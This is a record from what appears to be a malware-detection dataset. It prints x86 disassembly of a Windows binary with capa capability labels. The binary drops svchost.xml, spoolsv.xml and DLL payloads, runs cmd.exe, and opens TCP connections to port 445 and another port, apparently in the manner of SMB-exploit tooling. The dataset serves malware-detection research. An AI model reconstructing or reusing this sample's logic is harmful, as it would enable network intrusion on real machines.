joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4042a0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push closesocket
mov edi, edx
push ecx
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x404315
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0
push eax
push ebx
mov dword [ebp - 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
lea esi, [eax + 1]
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push esi
push 0
push eax
mov dword [edi], eax
call fcn.00410900
mov eax, edi
add esp, 0xc
cmp dword [eax], 0
jne 0x40431e
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp + 8]
mov ecx, dword [ebp - 0x10]
mov esi, ecx
mov dword [edi], 0
test ecx, ecx
jle 0x40435c
push 0
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push ecx
push esi
push dword [eax]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x404359
add dword [edi], eax
sub esi, eax
mov eax, dword [ebp - 8]
test esi, esi
jg 0x404330
mov ecx, dword [ebp - 0x10]
push ebx
cmp dword [edi], ecx
je 0x40437b
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 8]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404390
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
push 0x44
lea eax, [ebp - 0x44]
mov esi, edx
push 0
push eax
mov edi, ecx
call fcn.00410900
push 0x10
call fcn.0040e05e
push 0x44
mov ebx, eax
lea eax, [ebp - 0x44]
push 0
push eax
call fcn.00410900
add esp, 0x1c
lea eax, [ebp - 0x44]
xorps xmm0, xmm0
movups xmmword [ebx], xmm0
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push ebx
xor eax, eax
mov dword [ebp - 0x44], 0x44
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x44]
push eax
push dword [ebp + 8]
mov dword [ebp - 0x18], 1
push 0
push 0x20
push 0
push 0
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40442a
test ebx, ebx
je 0x40442a
push 0x2bf20
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x10
push ebx
call fcn.0040e091
add esp, 8
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4063d0
Capabilities:
Create directory
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x42a008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x104
lea eax, [ebp - 0x108]
mov esi, ecx
push 0
push eax
call fcn.00410900
push str.Diagnostics.txt
push esi
push 0x42784c
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.004045b0
add esp, 0x20
push 0
push 0
push 3
push 0
push 1
push closesocket
push str.C:WINDOWS_system32_rdpqpd.xsl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x40651d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x108]
mov edx, 0x153
push eax
call fcn.00406530
add esp, 4
test al, al
je 0x40651d
mov edx, esi
lea ecx, [ebp - 0x108]
call fcn.00404440
test al, al
je 0x40651d
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x104
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00410900
push 0x104
lea eax, [ebp - 0x310]
push 0
push eax
call fcn.00410900
push esi
push str._sx86.dll
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.004045b0
push esi
push str._sx64.dll
lea eax, [ebp - 0x310]
push 0x104
push eax
call fcn.004045b0
lea eax, [ebp - 0x20c]
mov edx, 0x1a7
push eax
call fcn.00406530
add esp, 0x3c
test al, al
je 0x40651d
lea eax, [ebp - 0x310]
mov edx, 0x1ac
push eax
call fcn.00406530
add esp, 4
test al, al
setne al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e04d
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
xor ecx, ebp
pop esi
call fcn.0040e04d
mov esp, ebp
pop ebp
ret

Function at 0x406530
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 4]
mov dword [ebp - 8], 0
push eax
lea eax, [ebp - 8]
mov dword [ebp - 4], 0
push eax
call fcn.004040b0
add esp, 8
test al, al
jne 0x40655c
mov esp, ebp
pop ebp
ret
push esi
push edi
mov edi, dword [ebp - 4]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [ebp + 8]
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x4065a6
push 0
lea eax, [ebp - 0xc]
push eax
push edi
mov edi, dword [ebp - 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x4065ae
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4066c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1910c
call fcn.0041eb10
mov eax, dword [0x42a008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x108]
push 0x104
push 0
push eax
mov ebx, edx
mov esi, ecx
call fcn.00410900
push esi
push str._s_svchost.xml
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.004045b0
push 0x19000
lea eax, [ebp - 0x19108]
push 0
push eax
call fcn.00410900
push edi
push ebx
push dword [0x42c944]
lea eax, [ebp - 0x19108]
push 0x19000
push eax
call fcn.004045b0
lea esi, [ebp - 0x19108]
add esp, 0x3c
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x406743
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x108]
mov dword [ebp - 0x1910c], 0
push eax
sub esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
test edi, edi
je 0x40679e
push 0
lea eax, [ebp - 0x1910c]
push eax
push esi
lea eax, [ebp - 0x19108]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
test eax, eax
jne 0x4067b1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e04d
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040e04d
mov esp, ebp
pop ebp
ret
Function at 0x4067d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x19318
call fcn.0041eb10
mov eax, dword [0x42a008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x19314]
mov ebx, edx
mov dword [ebp - 0x19318], 0
push eax
lea edx, [ebp - 0x19318]
mov dword [ebp - 0x19314], 0
call fcn.004042a0
add esp, 4
test al, al
jne 0x40682b
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e04d
mov esp, ebp
pop ebp
ret
push esi
push 0x104
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00410900
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.00410900
push ebx
push str._sx86.dll
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.004045b0
push ebx
push str._sx64.dll
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.004045b0
push 0x19000
lea eax, [ebp - 0x19310]
push 0
push eax
call fcn.00410900
mov esi, dword [ebp - 0x19318]
add esp, 0x44
mov ecx, esi
call fcn.00406a90
cmp eax, 0x20
je 0x4068d3
cmp eax, 0x40
je 0x4068cb
test esi, esi
je 0x4068b8
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e04d
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x108]
jmp 0x4068d9
lea eax, [ebp - 0x20c]
push eax
push edi
push dword [0x42c94c]
lea eax, [ebp - 0x19310]
push 0x19000
push eax
call fcn.004045b0
add esp, 0x14
test esi, esi
je 0x406900
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0x104
lea eax, [ebp - 0x310]
push 0
push eax
call fcn.00410900
push ebx
push str._s_spoolsv.xml
lea eax, [ebp - 0x310]
push 0x104
push eax
call fcn.004045b0
lea esi, [ebp - 0x19310]
add esp, 0x1c
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x406936
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x310]
mov dword [ebp - 0x19314], 0
push eax
sub esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
test edi, edi
je 0x4068b8
push 0
lea eax, [ebp - 0x19314]
push eax
push esi
lea eax, [ebp - 0x19310]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
test eax, eax
jne 0x4069a8
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e04d
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov al, 1
pop esi
pop edi
xor ecx, ebp
pop ebx
call fcn.0040e04d
mov esp, ebp
pop ebp
ret
Function at 0x406b10
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x61c
mov eax, dword [0x42a008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x104
lea eax, [ebp - 0x518]
mov esi, edx
push 0
push eax
mov edi, ecx
call fcn.00410900
add esp, 0xc
lea eax, [ebp - 0x518]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.00410900
push 0x104
lea eax, [ebp - 0x414]
push 0
push eax
call fcn.00410900
push 0x104
lea eax, [ebp - 0x310]
push 0
push eax
call fcn.00410900
push 0x104
lea eax, [ebp - 0x61c]
push 0
push eax
call fcn.00410900
push 0x104
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00410900
push esi
push str._sprocess1.txt
lea eax, [ebp - 0x108]
push 0x104
push eax
call fcn.004045b0
add esp, 0x4c
lea eax, [ebp - 0x414]
push esi
push str._sprocess2.txt
push 0x104
push eax
call fcn.004045b0
lea eax, [ebp - 0x108]
push eax
push esi
push str._c__s_svchost.exe____s
lea eax, [ebp - 0x310]
push 0x104
push eax
call fcn.004045b0
lea eax, [ebp - 0x414]
push eax
push esi
push str._c__s_spoolsv.exe____s
lea eax, [ebp - 0x61c]
push 0x104
push eax
call fcn.004045b0
lea eax, [ebp - 0x518]
push eax
push str._scmd.exe
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.004045b0
add esp, 0x48
mov ecx, esi
call fcn.004065d0
test al, al
je 0x406cb7
push str.WIN72K8R2
mov edx, edi
mov ecx, esi
call fcn.004066c0
add esp, 4
test al, al
je 0x406cb7
push esi
lea edx, [ebp - 0x310]
lea ecx, [ebp - 0x20c]
call fcn.00404390
add esp, 4
test al, al
je 0x406cb7
nop word [eax + eax]
lea ecx, [ebp - 0x108]
call fcn.004069d0
sub eax, 0
jne 0x406cc9
push 0x427994
mov edx, edi
mov ecx, esi
call fcn.004066c0
push esi
lea edx, [ebp - 0x310]
lea ecx, [ebp - 0x20c]
call fcn.00404390
add esp, 8
test al, al
jne 0x406c80
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e04d
mov esp, ebp
pop ebp
ret
sub eax, 1
je 0x406cb7
push edi
mov edx, esi
lea ecx, [ebp - 0x108]
call fcn.004067d0
add esp, 4
test al, al
je 0x406cb7
push esi
lea edx, [ebp - 0x61c]
lea ecx, [ebp - 0x20c]
call fcn.00404390
add esp, 4
test al, al
je 0x406cb7
push 0x80
call fcn.0040e0a4
push 0x80
mov esi, eax
push 0
push esi
call fcn.00410900
push edi
push 0x80
push esi
call fcn.00412f3c
add esp, 0x1c
push 0
push 0
push esi
push 0x406d60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.0040e04d
mov esp, ebp
pop ebp
ret
Function at 0x407ca0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
xor esi, esi
mov eax, ecx
push esi
push 0x80
push 3
push esi
push 1
lea ebx, [eax + 0x110]
mov dword [ebp - 4], eax
push closesocket
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x407d0b
mov eax, esi
inc esi
cmp eax, 0xa
jg 0x407d94
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x407cd4
mov ecx, dword [ebp - 4]
push 0
mov eax, dword [ecx + 8]
mov esi, dword [ecx + 0xc]
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x19000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
lea eax, [ebp - 0xc]
push 0
push eax
push 0x18ff7
lea eax, [ebx + 9]
mov byte [ebx], 0x33
mov ecx, dword [ebp - 8]
push eax
mov dword [ebx + 1], ecx
mov dword [ebx + 5], esi
push edi
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
test eax, eax
je 0x407d86
add eax, 9
push eax
push ebx
call fcn.00407e10
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ecx]
mov eax, dword [ecx]
call dword [eax + 0x18]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x408290
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x42a008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 1
push 2
mov esi, ecx
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x20c], eax
test eax, eax
jne 0x4082cc
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e04d
mov esp, ebp
pop ebp
ret 4
push dword [ebp + 8]
xor eax, eax
xorps xmm0, xmm0
mov word [ebp - 0x14], ax
movq qword [ebp - 0x12], xmm0
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov eax, 2
push 0
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [esi + 0x20c]
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
js 0x4082b9
push 5
push dword [esi + 0x20c]
call dword [sym.imp.WS2_32.dll_listen]
mov ecx, dword [ebp - 4]
test eax, eax
pop esi
setns al
xor ecx, ebp
call fcn.0040e04d
mov esp, ebp
pop ebp
ret 4
Function at 0x408340
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x42a008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x10
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ecx + 0x20c]
call dword [sym.imp.WS2_32.dll_accept]
push 4
mov esi, eax
mov dword [ebp - 0x24], 1
lea eax, [ebp - 0x24]
push eax
push 8
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x4083be
push eax
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x10], 1
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], 0x2bf20
push eax
push 0x98000004
push esi
mov dword [ebp - 8], 0x3e8
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0x214
call fcn.0040e05e
add esp, 4
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [eax + 0x210], esi
mov dword [eax], vtable.Tcp.0
pop esi
call fcn.0040e04d
mov esp, ebp
pop ebp
ret

Function at 0x4083f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x42a008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
test esi, esi
jne 0x40842b
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e04d
mov esp, ebp
pop ebp
ret 8
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
je 0x408417
push dword [ebp + 0xc]
xorps xmm0, xmm0
mov dword [ebp - 0xa], 0
mov eax, 2
movq qword [ebp - 0x12], xmm0
mov word [ebp - 6], 0
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov eax, dword [edi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x408417
push esi
call fcn.00408650
push 0x214
call fcn.0040e05e
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov dword [ebp - 0x18], eax
mov dword [eax + 0x210], esi
pop edi
mov dword [eax], vtable.Tcp.0
pop esi
call fcn.0040e04d
mov esp, ebp
pop ebp
ret 8
Function at 0x408590
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov edx, ecx
mov dword [edx + 4], 0
xor ecx, ecx
mov dword [edx + 0x108], 0
mov eax, dword [edx + 0x210]
push ebx
push esi
push edi
lea ebx, [edx + 4]
mov dword [edx + 8], eax
inc dword [ebx]
lea edi, [edx + 0x108]
mov esi, dword [edi]
test esi, esi
je 0x4085df
mov ebx, eax
lea eax, [edx + 0x10c]
cmp dword [eax], ebx
je 0x4085dc
inc ecx
add eax, 4
cmp ecx, esi
jb 0x4085d0
lea ebx, [edx + 4]
cmp ecx, esi
jne 0x4085f7
cmp esi, 0x40
jae 0x4085f7
mov eax, dword [edx + 0x210]
mov dword [edx + ecx*4 + 0x10c], eax
inc dword [edi]
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x12c
push eax
mov eax, dword [edx + 0x210]
push 0
push edi
push ebx
inc eax
mov dword [ebp - 4], 0
push eax
call dword [sym.imp.WS2_32.dll_select]
mov esi, eax
test esi, esi
jns 0x40862d
call fcn.0041300f
cmp dword [eax], 4
jne 0x40862f
test esi, esi
jne 0x408639
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4086e0
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1b4
mov eax, dword [0x42a008]
xor eax, esp
mov dword [esp + 0x1b0], eax
push esi
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
movaps xmm0, xmmword [str.EB0Z85_37F8_D52]
lea eax, [esp + 0x198]
push eax
push 1
push 0
movups xmmword [esp + 0x1a4], xmm0
mov dword [esp + 0x1b4], 0x38422d39
mov dword [esp + 0x1b8], 0x46333837
mov word [esp + 0x1bc], 0x7d
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
sete al
test esi, esi
je 0x408772
test al, al
je 0x408787
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop esi
mov ecx, dword [esp + 0x1b0]
xor ecx, esp
call fcn.0040e04d
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x1b4]
mov al, 1
pop esi
xor ecx, esp
call fcn.0040e04d
mov esp, ebp
pop ebp
ret

Function at 0x4087a0
Capabilities:
Check for time delay via gettickcount
Create thread
Terminate process

Disassembly:
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0x4086d0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.004086e0
test al, al
jne 0x4087c3
pop edi
pop esi
xor eax, eax
pop ebx
ret
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x406140
push 0
push 0
call esi
push 0
push 0
push 0
push 0x408a30
push 0
push 0
call esi
push 0
push 0
push 0
push 0x407000
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4045d0
push 0
push 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov ebx, eax
call esi
sub eax, ebx
cmp eax, 0xa4cb80
jae 0x408842
nop
push 0xea60
call edi
call esi
sub eax, ebx
cmp eax, 0xa4cb80
jb 0x408830
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x408850
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x42a008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 6
push 1
push 2
mov edi, edx
mov ebx, ecx
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x4088b1
mov eax, 2
push ebx
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push edi
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
push esi
cmp eax, 0xffffffff
jne 0x4088c4
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e04d
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040e04d
mov esp, ebp
pop ebp
ret

Function at 0x4088e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x42a008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 6
push 1
push 2
mov edi, ecx
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x408942
mov eax, 2
push edi
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x1bd
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
push esi
cmp eax, 0xffffffff
jne 0x408954
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e04d
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, 0xdefc
mov ecx, edi
call fcn.00408850
test al, al
jne 0x408942
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.0040e04d
mov esp, ebp
pop ebp
ret
Function at 0x40ae70
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
test edx, edx
jne 0x40ae7b
xor eax, eax
pop ebp
ret
push esi
mov esi, dword [ebp + 8]
not ecx
cmp esi, 8
jb 0x40af37
push edi
mov edi, esi
shr edi, 3
movzx eax, byte [edx]
sub esi, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x425a90]
movzx eax, byte [edx + 1]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x425a90]
movzx eax, byte [edx + 2]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x425a90]
movzx eax, byte [edx + 3]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x425a90]
movzx eax, byte [edx + 4]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x425a90]
movzx eax, byte [edx + 5]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x425a90]
movzx eax, byte [edx + 6]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x425a90]
movzx eax, byte [edx + 7]
add edx, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x425a90]
sub edi, 1
jne 0x40ae90
pop edi
test esi, esi
je 0x40af5a
nop dword [eax + eax]
movzx eax, byte [edx]
lea edx, [edx + 1]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x425a90]
sub esi, 1
jne 0x40af40
not ecx
mov eax, ecx
pop esi
pop ebp
ret

Function at 0x40af70
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push esi
push edi
mov edi, ecx
movsx eax, dl
mov esi, dword [edi]
xor eax, esi
mov ecx, dword [edi + 8]
movzx eax, al
shr esi, 8
mov eax, dword [eax*4 + 0x425a90]
xor eax, esi
mov dword [edi], eax
movzx eax, al
add eax, dword [edi + 4]
imul eax, eax, 0x8088405
inc eax
mov dword [edi + 4], eax
shr eax, 0x18
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x425a90]
mov dword [edi + 8], ecx
pop edi
pop esi
ret

Function at 0x40afc0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebx
push esi
mov bl, dl
mov edx, ecx
push edi
mov edi, dword [edx + 8]
mov esi, edi
mov ecx, dword [edx]
and esi, 0xfffd
or esi, 2
mov eax, esi
xor eax, 1
imul eax, esi
shr eax, 8
xor bl, al
movsx eax, bl
xor eax, ecx
shr ecx, 8
movzx eax, al
mov eax, dword [eax*4 + 0x425a90]
xor eax, ecx
mov dword [edx], eax
movzx eax, al
add eax, dword [edx + 4]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, edi
shr edi, 8
movzx eax, al
xor edi, dword [eax*4 + 0x425a90]
mov al, bl
mov dword [edx + 8], edi
pop edi
pop esi
pop ebx
ret